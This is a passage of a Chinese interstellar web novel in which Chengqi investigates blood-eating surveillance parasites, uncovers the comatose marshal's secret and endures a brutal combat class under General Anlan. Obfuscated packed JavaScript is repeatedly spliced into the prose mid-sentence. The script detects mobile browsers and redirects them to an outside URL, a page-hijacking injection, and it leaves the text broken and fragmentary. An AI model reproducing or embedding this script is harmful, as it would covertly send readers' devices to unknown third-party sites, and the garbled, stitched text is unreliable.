说完,她手一撑,从副驾驶翻到了主驾驶的位置,给自己系上安全带,也不理会队员的犹豫,开车扬长而去。 队员一咬牙,只好转身回去。 澄栖开过一段路到没人的地方,车子急刹,她的情绪有些暴躁,“该死的,赶紧滚出来!” 她浑身的水汽被吸到那一条手臂上,明明诡异的画面,但水团安静得不行,除了衣服打湿的冰冷和重坠感,再也没有其他动静。 怎么,是把她的手臂当成新家了? 听见澄栖的声音,水团乖乖巧巧再次聚齐成一团,还顺带把澄栖湿衣服里的水也带出去,然后漂浮到空中,和澄栖面对面看了一会儿,变成一个缩小版的水人,坐到副驾驶位上,还学着澄栖的样子,也给自己系上了安全带。 澄栖:“……”就,还挺有安全意识的。 打也打不过,跑也跑不了,她一口牙都要咬碎了。 看着水团悠闲的样子,澄栖冷笑一声,抬手拨通讯,刚响一下,对面声音传出来,“澄栖?” “程教授,我发现了一种对我血液免疫的寄生虫。” 通讯那头的程三光倒吸一口凉气,然后扯着嗓子吼,“你说什么?还有这种事!带过来,赶紧把寄生虫带过来!我来亲自研究!” “好,我马上来研究院。”澄栖挂了通讯,转头对着副驾驶位上的水团,眼神冰冷,“你完了。” 水团对此的反应是,拿水糊了澄栖一脸,然后继续坐着瞎晃。 澄栖的车子猛然启动,越开越快,踩着限速直奔研究院。 程三光站在门口踱步,看清车里的澄栖,片刻都等不了,伸手从副驾驶打开车门。 “寄生虫在——水团?”程三光想到澄栖说的,对她的血液完全免疫,不知道想起来什么,脸色变得严肃,“把它带上,我们先去实验室。” —————— 另一边,何希南看见独自一人回来的队员,疑惑,“夫人呢,不是让你送她去安全的地方?” “夫人自己开车走了,她说会在学校等,让我回来支援!” 何希南气得接连打碎三个驱虫剂罐子,“她让你回就回?她要是跑了怎么办?元帅——”话到此处,他突然闭上了嘴。 知道澄栖给元帅输血的人,很少。 他烦躁,转头对着无穷无尽的寄生虫,更烦躁。 杀也杀不完,地上的寄生虫尸体要堆到他们脚面上了,而活着的,还是没有减少多少。 这群寄生虫很奇怪,寄生在水里,也不攻击人,就在空气里浮动,时不时掉点水下来,就像阵发的暴雨。 可他们没人敢赌这些寄生虫不会某一刻突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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男人轻笑一声,“不必,送过去就行。检测不重要,重要的是告知。” “这种寄生虫,是人类豢养的监视器,叫朝暮。” —————— “朝暮是什么?”澄栖看着程三光取了指甲大小的水团,一通操作,最后经过基因比对,在系统里找到的基因相似度最高的寄生虫,叫朝暮。 “一种承担监视任务的寄生虫,你不认识也正常。绝迹好多年了。绝迹之前也少有人见过,又没有攻击性,不对人类构成威胁,所以绝大多数写书的人都自动忽略了这种寄生虫。” 澄栖对于没有攻击性这件事情持怀疑态度。 “它能吞噬我的血。” “你滴一滴上去我看看。” 澄栖拿手术刀把自己的伤口撬开一块,血迹流到那一小滴水团上。 6. 寄生虫——朝暮(三) 瞬间,水团好似沸腾一般涌过去。 被密封在玻璃器皿里剩下的水团,更是猛烈撞击玻璃,想要逃出来。 直到那滴血液被迅速消耗殆尽,它们终于安静下来。 程三光神色复杂从实验台上那一小团水看到澄栖身上,没什么眼神变化,都像在看怪物。 澄栖耸了耸肩,叹气,“事情就是这个样子。” 她又把手伸到实验台上,那团水顺着爬上她的伤口,程三光还没来得及惊呼,突然发现水团并不吸澄栖身上的血。 “教授,这正常吗?” 问完,澄栖自己都笑了,是个人都能看得出来不正常。 能吸血的水团,澄栖怀疑过是寄生虫变异了。可数据库里,水团和“朝暮”的基因匹配度并没有下降。 他们带着水团又去做了另一个检测。 然后两个人看着检测报告一起叹气。 “结果不太好。朝暮吞噬掉你的血液对它们其实并没有什么帮助,甚至是损害。” “可能是有人拿你的血驯养过它们,培养出来了新品种。吞噬掉在地上的血,已经成了这个品种的本能。” 这也就能解释得通,为什么水团的检测结果和数据库里的朝暮只是匹配程度高而不是完全相同。 什么人能拿到她的血来驯养寄生虫?澄栖想起来程三光说自己在安萨斯陛下的地牢里待过。 她想到某种可能,抬头,发现对方看着她的视线复杂,面上透着些欲言又止。 澄栖脑袋瞬间灵光了。 恐怕不只是驯养“朝暮”,连她也是驯养的对象。 否则,真的没办法解释,“朝暮”对她的态度还挺好的,地牢生死之交,感情不能不深厚。 所以,真的是那位安萨斯陛下吗?驯养寄生虫,现在又把寄生虫送到了元帅住的地方。 他想干什么呢? 程三光说,“朝暮的记忆可以提取出来,你要不要……” “不了,没必要。” 朝暮就和它的名字一样,生命短暂,也就意味着, 提取出来,能看到的是元帅府邸的情况,她对那群人,没有了解然后提醒的义务。 澄栖闭上眼睛平静自己的呼吸,再睁开眼睛时,脸上已经是一派淡然。 她拎着实验台上的水团,正欲开口,实验室的门突然被敲响。 “程教授在吗?何希南将军送过来一份寄生虫尸体,让我们出检测,是一种很罕见的寄生虫,我们都没见过。” 敲门的研究员也有些忐忑,他手里抱着的透明玻璃瓶里,寄生虫的尸体已经被烧得焦黑,这个检测做下来,麻烦得要命。他们都不愿意接受,层层往上送,最后送到了他手里。 谢天谢地,听说程教授今天在实验室,他是出了名的爱研究罕见寄生虫,这份样本,最后送到他手上,应该能停止了。 澄栖不用猜都知道何希南送来的是什么。 她对着程三光无声说,“是朝暮。” 程三光点头,把实验室里装着朝暮的玻璃盒子塞到澄栖手上,让她藏好盒子,才开口让研究员进来。 反正已经做过一次检测了,再做一次,也花不了太多时间。 直到看见玻璃罐里被烤焦的寄生虫,程三光,“……”这算不算欺负老人? 带着样本进来的研究员也有些不好意思, “程教授,我们是真没办法,何将军那边送过来的,我们不好不接,可接过来,才发现样本已经被烤成这样,他们都害怕出的检验结果不准,这才送到您这里来。” 程三光转头看着澄栖,“刚刚我操作仪器的步骤你都看清了吗?” 澄栖疑惑,还是老实回答,“看清了。” “能复刻?” 好了,这下她知道为什么要问她看清没有了。 澄栖无力地咧开嘴笑,不敢回答,她能说自己不能复刻吗? 她的沉默在程三光眼里就是默认。 “能复刻就行,不能复刻也没关系嘛,看看这样本,这么多,多做几次,总能出结果的。” 说完,甚至没等澄栖回应,抱着样本的研究员已经笑着把罐子塞给澄栖。 “我知道你,研究院最新招的特殊研究员,加油,你一定能把结果做出来的!” “谢谢你啊。”澄栖的语气幽幽。 一罐子里没两个样本是能用的,幸好她知道这一罐子烤虫子到底是什么玩意儿,算是带着正确答案推过程。 即使是这样,澄栖也重来了五六遍,最后终于把过程推出来了。 何希南送过来的样本和她带过来的水团果然都是“朝暮”,只有等级上的差异不同,水团的级别检测不出来,而这些样本,很明确地能够检测出来,是最低等级的寄生虫。 难怪当时驱虫剂对水团没有,而后面又突然变有用了,原来是因为这个。 澄栖看着手里的报告单,从头到尾检测内容没有出错,点点头,翻到最后一页习惯性地签上了自己的名字。 笔在纸上顿了顿,她把检测报告收起来,重新打印一份,在最后一列,检测人员信息上,龙飞凤舞写上,“六级研究员(特招),037。” 星际寄生虫研究院为了保障特招进来的研究员人身安全,给了他们很大一个权利,对外界能够以编号代替姓名。 这正是澄栖当下最需要的。 何希南已经做好了在研究院等上一晚或者更久的准备,但没想到短短几个小时的时间,检测报告就送到了他手上。 和元帅说的一样,那种寄生虫果然叫朝暮,能够将看到的东西以电波形式记录下来。如果有人能在它们活着的时候捕获,就能通过电波获得它们生前看到的一切。 而且,这种寄生虫寄生在水里,繁殖速度快,死亡速度也快,很难被人发现。完全就是为监视量身打造。 何希南握着检测报告,心里迅速筛查出来几个可疑的人选。 送报告的研究员被他浑身的冷气吓得心慌,“何将军,是报告哪里不对吗?” “没有,”何希南的脸挂上笑容,“只是惊叹于你们出报告的速度,越来越快,而且结果也很完整。” 研究员松了一口气,“嗯,是研究院新招的特殊研究员出的报告,您知道的,他们总是在某些方面有不可思议的天赋,我们这些普通人怎么比得上啊。” 这样说,但他的话里并没有什么嫉妒的意思,研究院的特招人才到底是怎么回事,他们这些在里面工作的人最清楚,既当实验体,又当操作者,给个研究员的身份,然后让伦理上看得过去。 何希南微笑不变,“原来是这样。” 他顺着研究员的话,翻到报告最后一页,看到检测人员,没有姓名,只有编号,037。 “感谢您解惑,我先走了。” “啊,何将军慢走,一路平安。” 时候差不多,何希南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何希南组织了一下语言,说,“今天晚上需要夫人再抽一袋血。” 元帅因为寄生虫的事情强行醒过来,后面又用了一支镇定剂,情况果然变差,今天抽的那一袋血,不够用了。 澄栖点点头,面带微笑,“原来是这样,何大人早说就行了,毕竟,我就是血——包——嘛。” “您多想了,您是元帅夫人。” 澄栖在心里默默翻了个白眼,还跟她装上瘾了。 “真的吗?你们不介意我是下等星来的?不介意我是文盲?不介意我一无是处?” “当然……不介意。” “真好,何大人既然这么说,肯定元帅也是这么想的,那不如就给我办休学手续吧,我也不介意自己是文盲,既然大家都不介意,我早就不想学这个什么星际寄生虫学了。” 何希南脸上的笑容顿时变得有些僵硬,“夫人说笑了,我们还是赶紧回去吧。” 澄栖耸肩,没再理他。 真是受不了这种装的人。 这下子何希南终于老实了,没有再继续和澄栖搭话,澄栖安安稳稳睡了一觉,下车时,发现到了一个自己没见过的地方。 她就是嘲讽何希南两句,怎么连房子都不让她回了? 7. 寄生虫——朝暮(四) 这么小气? 何希南接受到澄栖的怀疑,不得不出口解释,“之前的房子在处理寄生虫的时候烧掉了,这是元帅另一处房产,在房子修复之前,所有人都暂是居住在这里。” 他刻意将“所有人”三个字加重。 所有人都在这里,澄栖自然也会在这里住,不是拐卖,不是流放,她可以安心了。 “原来是这样。”澄栖扬起淡淡的笑容,恍然大悟。 —————— 骤然间元帅府邸没了,何希南要处理的事情还多得很,把澄栖交到医生手上,他就走了。 澄栖抽完血,猛猛给自己灌了两剂高浓度的营养液才缓过来点。 她连话都不想说了,沉默着上楼回了二楼最里面的房间。 这栋别墅也是三层,澄栖以为,何希南没有说,那所有的布局应该就是和原来一样的,元帅的主卧书房治疗室全在三楼,她的活动空间全在二楼,互不打扰。 而何希南没有说,是觉得抽完血医生会告诉澄栖。好巧不巧,医生也是这么想的,他以为何希南说了。 然而事实上,这栋别墅长久没人住,加上最大的一间房在二楼,他们就自动将元帅和所有的治疗仪器放进了二楼这间主卧。 守卫呢?守卫……也没拦。 澄栖走得太淡定,他们犹豫着,想到澄栖元帅夫人身份,还是决定让她先进去,然后再通知一下管事的人。 这一切导致了最后的结果。 澄栖打开门,一眼就看到了床上躺着的男人,还有围绕在他周身的各种仪器。 她意识到不对劲,左脚往后撤就要从房间里出去。 这可不是她该进的地方。 偏偏这时候,绑在手腕上的空间扣突然剧烈颤动。澄栖立刻伸手捂住手腕,想起来水团还在里面,进也不是,退也不是。 一咬牙,她还是关上门,紧靠门站着。站在门背后,也算是没进门了。 她把水团拎出来,气得恨不能给它两拳。声音压低,澄栖咬牙切齿,“你是想害死我吗?” 让元帅的人知道她手里有寄生虫,还是他们刚刚在原来别墅击杀的那种,那她就不用活了。 水团不知道有没有听懂澄栖的话,它在她眼前转两圈,然后往房间里飘去。 澄栖真的想给这个大爷跪下来,它真嫌她命太长吗? 她紧张得屏住呼吸,小心翼翼去追水团。 水团的行动轨迹离床上躺着的人越来越近,澄栖的心跳得越来越凶。 “停下,我真求你。” 谢天谢地,它终于停了。 水团停在床边柜子的绿植上。 澄栖总算是松了一口气,水团要是喜欢,一个绿植而已,她应该可以带走。 她这口气松太早了。 水团在叶片上敲了两下,一股细细的水流从土壤里出来。 又是“朝暮”。 朝暮,是有人豢养监视器啊。澄栖神色从短暂的震惊变成冰冷。抬头看,冰冷的输液架上,挂着的是她的血。 她不知道靠这么近的朝暮,看到了多少。 澄栖把手里的驱虫剂举起来,缓缓靠近那一股细小的水流。 不能喷太多,喷太多留下痕迹会被人发现,到时候更难解释。 水团这次总算是读懂澄栖的意思了,它绕着澄栖转两圈,把水流包裹起来。 澄栖这才发现,同样是朝暮寄生在水里,可颜色却是不一样的。那股细小水流的颜色明显要深一点,被水团包裹,在中间横冲直撞想要逃掉,但最终还是被吞噬得一干二净。 水团高兴,水团吃完东西在澄栖手臂上跳,像是邀功。 澄栖:“……你真厉害,”水团高兴,继续在她手臂上跳。 她摸了摸水团,低头,看着治疗床上躺着的一动不动的男人,身体被纯白色杯子盖得严严实实。 他长了张很好看的脸,澄栖以前从来没有见过这么好看的人,但现在这张脸上,一点血色没有,整个人透露出死寂。 她查过她这位名义上老公的信息。读书一路越级上了联邦最好的军校,进了军区更是疯狂奔波在各个寄生虫和人类对战的前线,挽救过很多人。 澄栖承认自己那个不合时宜的善心发了。 算了,就当是对她有现在这么不愁吃不愁穿还有学上的生活的感谢了。 她拎起来水团摇了摇,让它安静下来,“能找到房间里还有其他‘朝暮’吗?可以帮我全部消灭掉吗?” 水团咕噜咕噜好像在思考,然后从澄栖手上飘出去,在房间各个地方巡逻,把细微角落里没有被消杀到的“朝暮”全部吞进肚子里。 吞噬完,水团在澄栖的夸奖下满意地被她收进空间扣。 而澄栖自己,拉开一小块被子,把元帅的手露出来,伸出手指按着他的脉搏。 澄栖早就好奇了,他们说元帅被寄生虫和背叛者联手坑害,一直昏迷不醒。到底是什么样的重病,一直昏迷不醒。 按下脉搏不到一分钟,澄栖猛的把手收回来,她摸着自己的手指,已经被吓得失温。 怎么会这样。 澄栖不敢相信自己摸到的东西。 愣了片刻,她不信邪,深吸一口气,再次探上他的脉搏。 没错,真的是两条完全不一样的脉搏,一条是人类的血管,另一条,是寄生虫的。 即使微弱,但那条,确实是寄生虫的。 联邦的元帅,已经被寄生虫寄生了?竟然是这样! 难怪他要靠着输她的血俩维持生命,她的血根本就不是对他有用,而是能够压制他身体里面的寄生虫! 澄栖所有的事情都想通了。可越是想通,她心里越发滴血,后悔像无穷无尽的潮水一样涌来。 她不该多事的,她不该知道这种秘闻。澄栖后背发冷。 对,她不知道,她要把这个消息烂在肚子里。 澄栖双腿有些发软,往后退,不小心撞到了旁边的监测仪器。 门外的声音也响起来,冰冷,愤怒,“谁让她进去的?你们为什么不拦着?” “我们以为,她是元帅夫人,可以进去……” 门被用力推开,门口,何希南手里拿着枪,枪口对准了澄栖,“夫人,你想干什么?” 四五个暗处的守卫此时站在何希南身后,神色同样冰冷。 他们的视线,别说是在看元帅名义上的妻子,说是看陌生人也不足以让人信服,那是对着敌人的眼睛。 澄栖定了定神,“何大人,你没告诉我我的房间在哪里,我只好按照原来别墅的布局过来了,结果开门才发现元帅在里面。” “我没忍住好奇,过来看了一下。但只是看了一下,并没有做什么对元帅有害的事情,不相信你可以检查。” 何希南不相信她。 元帅昏迷最开始那段时间,他们几乎要绝望,想要治疗元帅却四下碰壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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澄栖又扬起来巴掌,这次何希南早有准备,一手握着澄栖的手腕,阻止了她的动作。 但挡了一下没挡过第二下,澄栖屈起膝盖,狠狠给他肚子来了一下,踢得何希南瞬间反胃。 澄栖甩掉他的手,退后一步,重新站定。 “何大人,你拿着那个枪对着人的时候是不是总觉得自己很威风?这是第二次了,希望何大人记住教训,不要有第三次。” “我已经说过,如果你们担心你们的元帅,可以先检查,我不是不讲理的人,能够配合你们进行调查。” “可是何大人一进来,就是这样恨不得弄死我的样子,有求于人还这么嚣张,何大人的为人,我也是平生仅见。” 何希南沉默着不回应。他能干什么?杀了澄栖,可是她说得对,他们现在确实是有求于人,澄栖不能死。 囚禁她?何希南清楚,他们要是敢这么干,澄栖就能分分钟搅得这里鸡犬不宁。 “你不要太过分——” 何希南身后的守卫看不过去,骂了一句。 澄栖的脸色继续冷下去, “过分的是你们!于公,我好歹是元帅名义上的妻子,你们没有该有的尊重;于私,你们可以好好问问你们的何大人,元帅生病的这段时间,我到底做了什么。” “谁知道你这个元帅夫人是怎么来的!” “闭嘴!”何希南听见这句话,心里咯噔一声,不敢看澄栖的脸色,一脚把说话的守卫踢出了门外。 再转身,他已经收敛了情绪,低头道歉,“抱歉,夫人。等元帅醒过来,我会向他领罚。” “但愿你是真的知道自己错了。你让我干的事情我已经干了,接下来半个月我会住在外面,月末回来,查到我住哪里也最好别来打搅我。” 8. 格斗课 整个别墅的人沉默不语。 澄栖扬长而去。 她没有要带的东西,唯一必须得用到的课本还被原身破坏得不能用,她已经订了一套新的,过两天就能拿到手。 至于在外面住哪里,这个问题就更简单了,有学校的地方,就不用愁没人出租房子。 一切顺利得可怕,澄栖在网上翻,很快就发现了一套各方面都很符合她需求的房子,房东更是好说话,各种费用和后续修理在合同里列得清清楚楚,没有半点含糊,还考虑到现在已经月中了,主动提出来可以给她免半个月房租。 澄栖:这才是真正的撞大运。 她迅速和房东签合同,付了钱,就拿到地址和密码,去找具体地址了。 房东说房子挺空的,在门口等她,顺便给她添置了点家具。 澄栖差点感动得流泪,天底下居然还有这么好的房东! “安澜将军?” 澄栖走到门口,发现她的房东背影有点熟悉,她不太确定地叫了一声。 对方回头,微笑看着她,“同学,我们又见面了。” “你是,房东?”不怪澄栖震惊,以安澜的身份,就算真的是房子多得拿出来出租,也没必要亲自来办这些事情。 “对啊。”安澜理所当然地点头。 澄栖反而迟疑了,安澜肯定有问题,但她没想清楚自己有什么东西值得对方觊觎的。 她想要反悔不租了。 安澜却先她一步开口, “我建议你租,第一,我能给你提供绝对的安全,第二,同等价位你找不到比这个更好配置的房子,第三,同学,大晚上的,继续找房子多费神啊,不如先住下。” 安澜的态度很敞亮,敞亮得澄栖说话也变得直接了,“安澜将军,是怎么知道我在找房子的?” “你不知道?” “知道什么?” “学校外面这一条街的房子,都是我的。你连续问了我的好几套房子,管家告诉我,我一看就知道是你了。” “同学,上网你别用真名啊。” 澄栖:“……” 有钱真让人嫉妒。 澄栖的沉默让安澜发出来爽朗的笑声,嗯,很爽朗,很……多金。 “安澜将军,你是不是不知道,其实我是元帅的妻子,我听同学说,你跟元帅,关系好像挺好?” 澄栖说得保守,岂止是挺好,周围的同学恨不能磕得天昏地暗。 “谁说我跟原颂关系好的?” 原颂?澄栖反应了一下,才想起来,原颂就是元帅的名字,她名义上的老公。 “不是吗?” “当然,不是。” 澄栖感叹,原来真的有人能够做到瞬间变脸的,还是从笑得脸颊发红瞬间变成锅底一样黑。 不亏是女将军,变脸都比别人厉害。 “原来不是,他们都这么说,我还以为是真的。” “他们都在放屁。”安澜一字一句,咬牙切齿,那样子,恨不得把造谣的人按死。 澄栖的兴趣上来了,眼睛亮晶晶看着安澜,渴望得到从本人嘴里说出来的更可靠的八卦,啊不是,事实。 “呵呵,澄栖同学,把东西搬进去就休息吧,大晚上的,别熬夜把脑子熬坏了。” 澄栖摸了摸鼻子,后知后觉有些不好意思,应了一声好。 安澜转头,打开了对面那套房子的门。 澄栖:“?” 好像是感受到背后的疑惑,安澜回头,微笑,“澄栖同学,忘了告诉你,最近几个月我休假,闲着没事干,我申请去带你们的格斗术,我会,好好关照你的。” “另外,为了工作方便,我也住学校外面,正巧就在你隔壁,如果澄栖同学再逃课,或者上课不认真,我不介意私下给澄栖同学加课。” 澄栖第一反应:天呐,威胁!这就是赤裸裸的威胁! 澄栖第二反应:她学的专业不是研究寄生虫吗?他们不是走研究路线的研究人员吗?怎么让一个久经沙场的将军来带他们的格斗课?一手抓格斗,一手抓研究,她做不到啊! 进屋,澄栖把水团从空间扣放出来,给柜子上的广口花瓶灌上水,把它们放进去。 免费的监视器呢。 监视器,她突然想到旁边还有一个随时盯着她的安澜,心脏抽抽疼。 东西也不想收拾,澄栖往床上一躺,痛苦地睡去了。 第二天,踩着点出门,又和安澜偶遇。 太巧了,两个人连踩点的行为都这么相似。 一想到安澜要带他们的格斗课,澄栖心如死灰,连招呼都没和安澜打,痛苦地看了她一眼,行尸走肉地下楼了。 安澜:“?”现在的小孩儿,稀奇古怪的。 进教室的时间刚刚好,比上课的老师快一步。澄栖找了个后排清净的位置坐下,自己翻书看。 她比同学们的进度落后,甚至很多星际的常识也不知道,只能自学。 同学们的精神很好,都在悄悄讨论安澜将军要来给他们上课的事情。 “安澜将军来授课,我是撞了什么大运能遇见这种好事!” “安澜将军都来了,下一次会不会是元帅来授课?” “天呐,这就是联邦第一军校的实力吗?强悍如斯!” 一句话里两个熟悉的人物,澄栖想听不见也难。 元帅是不会来了,他还在床上躺着呢。以后能不能来,也不好说。 “元帅会不会来不知道,但是我有小道消息,联邦军校两百周年校庆,陛下和首相都会出席。” “真假?好大的排面!” “……” 剩下的消息和澄栖的关系都不大,她的耳朵自动屏蔽掉,继续狂补知识。 很糟糕的,第二节课就是格斗课。 众人还沉浸在见到偶像的喜悦里,安澜的空间扣一开,从里面放出来一条三米多高的黑色畸形怪物。 怪物身上的粘液滴滴答答往地上掉,腐蚀泥土发出滋啦滋啦的声音。 学生们懵了。 安澜说,“这是一只还没有寄生的寄生虫,你们今天的格斗人物就是跟它打一节课。” “顺便说一下,这是我从前线带回来的攻击性高等级寄生虫,名字就叫腐蚀,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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澄栖咬咬牙,为了避免真的被安澜一脚踢到寄生虫脑袋上,她难过的回头了。 瞬间从空间扣里把枪掏出来,一枪打到寄生虫脑袋上。 澄栖发誓,她真的对自己很满意,枪对于她来说,也是初学的,这一枪能打到脑袋上,真的足够了。 然而,她亲眼看着那颗子弹陷入三米多高的黑色怪物寄生虫的脑袋里,然后,滋啦滋啦地被腐蚀掉。 安澜在背后看着,笑出声,“忘记说了,这种寄生虫,腐蚀金属制品的能力最强了,金属制品不但不能对它造成伤害,还会,惹怒它。” 说完,她看着到处乱窜的其他学生,“你们已经有同学回头对抗寄生虫了,难道你们甘愿落后吗?” 学生不语,学生跑得更快了,途中还不忘给澄栖比了个大拇指。 勇士当如是!没想到澄栖同学平时逃课是逃课,但动起真格,却是丝毫不怯懦,一马当先,当仁不让,敬佩敬佩! 澄栖:她以后会拒绝任何一个人给她比大拇指! 至于当前的事情,恐怕,也和大家一样,是逃命了。 这头寄生虫因为刚刚那一枪,已经彻底盯上澄栖。 9. 腐蚀 它像鬼一样死死跟着澄栖,走起路来摇摇晃晃,但速度却不慢,又粗又长的触手在空气里打出来破空声, 要命!这怎么可能逃得掉。她要认输!这个级别不是她这样的菜鸟该玩的啊! 认输,即刻认输! 澄栖当即锁定了站在角落里的安澜,一个滑跪死死把人的腰抱住,“安澜将军,你再不帮忙就真的要出人命了啊!” “腐蚀”看见澄栖突然停下,想要进一步靠近,但认出来安澜,又踌躇着不敢上前,半响,实在还是想要教训澄栖,站在原地蹲守着,等澄栖把安澜放开,不愿意离开去追其他的学生。 这下子大家都送了一口气,停下来就往地上一躺。 安澜越看越不爽,轻笑一声,拎住澄栖的后衣领子。 澄栖一下子就看出来安澜是想把她丢出去了,不,这绝对不可以! “安澜将军,你敢不敢松开我的衣领子,你敢不敢让我躲在你后面!” “松开!” “我没有耳朵!你说什么,我听不见!”澄栖死死抱着安澜的腰大吵大闹,主打一个无理取闹,泼皮无赖。 “我可以帮你。” “诶,突然发现我的耳朵一下子出来了。”澄栖听到自己想听的,抬头,表情认真。 “但是有条件。” “哎,我这个耳朵……” “条件很简单。” “我这个耳朵听得很清楚。”澄栖郑重承诺,“将军您说,只要我能做到,上刀山下火海我都不行!” 安澜一愣,才反应过来澄栖说的是什么,真是太无耻。她在心中暗骂。 “你叫一声姐,我给你一副能够抵御腐蚀的手套。”安澜的语气有些温柔。她想听澄栖叫这一声,已经很久了。 澄栖的心里很复杂,越看安澜觉得不对劲。 这真的……正常吗? 不怪她阴谋论,实在是安澜的举动太奇怪,她已经不是第一天怀疑安澜想要撬元帅墙角了! 但是她图啥呢?为了给元帅一点颜色瞧瞧?让他成为联邦笑柄? 不管安澜图啥,澄栖她都得拒绝啊!她是个有原则的人,是绝对不会因为一副手套就出卖自己的节操的! 她憋得脸通红,结结巴巴,“那个,将军,我不搞这个,要不你换个要求呢?” “?”安澜疑惑,她怎么听不懂澄栖在说什么?难道这几年过去,她在前线呆的时间太多,已经跟不上现在年轻人的潮流了? 看着澄栖神神秘秘,拿一种意味深长的眼光打量她,眼里的光芒跟想听八卦的时候一模一样。 安澜某一刻脑回路突然通了。 这死孩子脑袋里到底在想什么!就是欠教训! “所以你叫不叫?不叫我马上把你踢出去。” “姐,姐!天上地下独一无二的姐!求你,给我手套!” 看着安澜嘴角拉下去,澄栖马上老实了,什么尊严,什么节操,通通不如小命重要! 安澜满意的点点头,从空间扣里把手套掏出来,往澄栖讨好伸出来的手上一套,然后,把她后衣领子一提,一脚把人踹到寄生虫脑袋上。 为什么还是要踢她! 生死存亡之际,澄栖迸发出惊人的求生意志,在空气里翻了个身,用带着手套的双手抓住寄生虫脑袋后面垂下来的不知名黑色长条状物。 这寄生虫长得还挺时髦的,脑袋后面一排长条,看起来像编的小辫,伸手摸到,发现是触手的感觉。 触手表面滴滴答答的黑色液体隔着手套和澄栖接触,果然没有任何腐蚀的迹象,她不禁松了一口气。 而她抓的位置实在特殊,寄生虫无法转头,用它那七八根畸形的触手在背后挠来挠去,但始终没有抓住左右晃荡的澄栖。 澄栖眉眼高兴得展开,“安澜将军你就是我亲姐!给的东西太给力了!” 安澜微微一笑,手里顿时出现一叠还未开封的手套, “每个人过来拿一副!” 澄栖脸上的笑容顺间变成锅底一样黑,她感恩的心顿时破裂。 为什么别人可以直接过去拿?而她就要接这不公平!根本,一点,也不公平! 她还被踹到寄生虫脑袋上了!安澜必须把其他人也踹过来才公平! 果然有学生问了。 “安澜将军,拿了手套,我们也会和澄栖同学一样,被踹到寄生虫脑袋上吗?” “当然不会,她比较欠揍我才踹,你们都是好孩子,又不欠揍。” 澄栖裂开的心瞬间碎成了渣渣。 “天呐,安澜将军万岁!” “安澜将军太好了!” “安澜将军——我靠,好早了!” 安澜确实没有用脚踹他们,但是,她又从空间扣里放出来三只一模一样的“腐蚀”。 滴滴答答的液体腐蚀地面的声音此起彼伏,听得人头皮发麻。 “我当然是不会踹你们的,但是呢,既然给了你们防御的武器,那难度自然就要增加一点了,祝你们好运,小同学们。” “其实你们看看,澄栖同学现在抱着腐蚀背后的触手,反而是最安全的。你们要是愿意,我也可以帮你们一把,踹你们上去。” 学生一边流泪一边奔跑。 踹上寄生虫头顶?那还是算了吧。 安澜将军,恐怖如斯,恐怖如斯啊! 没人需要安澜帮忙,看着被追得满场跑来跑去的学生们,安澜更加不满。 干什么吃的,防御武器都给了,还是不敢抗一抗? 她一不高兴,就想要采取一点非常手段。 所以又有人要倒霉了。 那个人还是澄栖。 澄栖某一刻和安澜的视线突然对上,只一瞬间,她心脏咯噔一跳,脑海里只浮现出来两个大字。 完了。 她的直觉是非常准确的,只可惜还是太晚了。 安澜的动作快得只剩下残影,一脚踩在“腐蚀”身上往上跃,刀光一闪,澄栖抓着的触手和她一起滚到了地上。 然后刀入鞘,她落到地上。 澄栖看着手里黏黏糊糊的触手愣住了。 腐蚀摸着自己被砍断的触手根部也愣住了。 腐蚀回头,看见砍断自己触手的安澜站在离它不远的地方。 只犹豫两秒,腐蚀回头,愤恨地踢了澄栖一脚,澄栖狠狠飞出去三米远,连外套也被腐蚀掉了一部分。 澄栖:?不是,踢她干嘛啊?谁砍的踢谁啊! 腐蚀如果会说话,早就开始哭了,难道它不想吗?但是少一条触手和少一条小命,两个选一个,哪个更重要,它还是分得清楚的。 安澜看着澄栖懵得找不着北,高兴点头,“踢得好!” 澄栖发誓,安澜说完这句话,她真的看到其他几只腐蚀也动了动脚,想要往她自己的方向过来。 应该不是也想来踢她两脚吧,哈哈。 而受到赞赏的腐蚀,立刻伸出来脚,想要再给澄栖一个飞踢。 澄栖痛得面容扭曲,当即从地上一个翻身爬起来就跑。 她不会原谅安澜的,真的!她发誓!她要去网上黑她!要给她的房子打负分!要她付出代价! “澄栖,你难道只会跑吗!反击!” 反击?腐蚀三米还要高,弄她跟弄小鸡仔一样简单,安澜居然还问她只会跑吗? “是的,我只会跑!” 安澜黑着脸堵在她面前,气得连话都说得多了,“还手!你有还手的力量!我连手套都给你了,你必须还手!” 她到底哪里来的还手力量!澄栖差点要疯,连她自己都不清楚。 三米高的“腐蚀”越来越嚣张,看出来澄栖只能像小鸡仔一样被撵着跑,兴奋得触手乱飞。 它长得真的很畸形,满身坑坑洼洼,身体外层勉强能分辨出脑袋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060402|195047||http|test|mini|href|location''.split(''|''),0,{})); () { 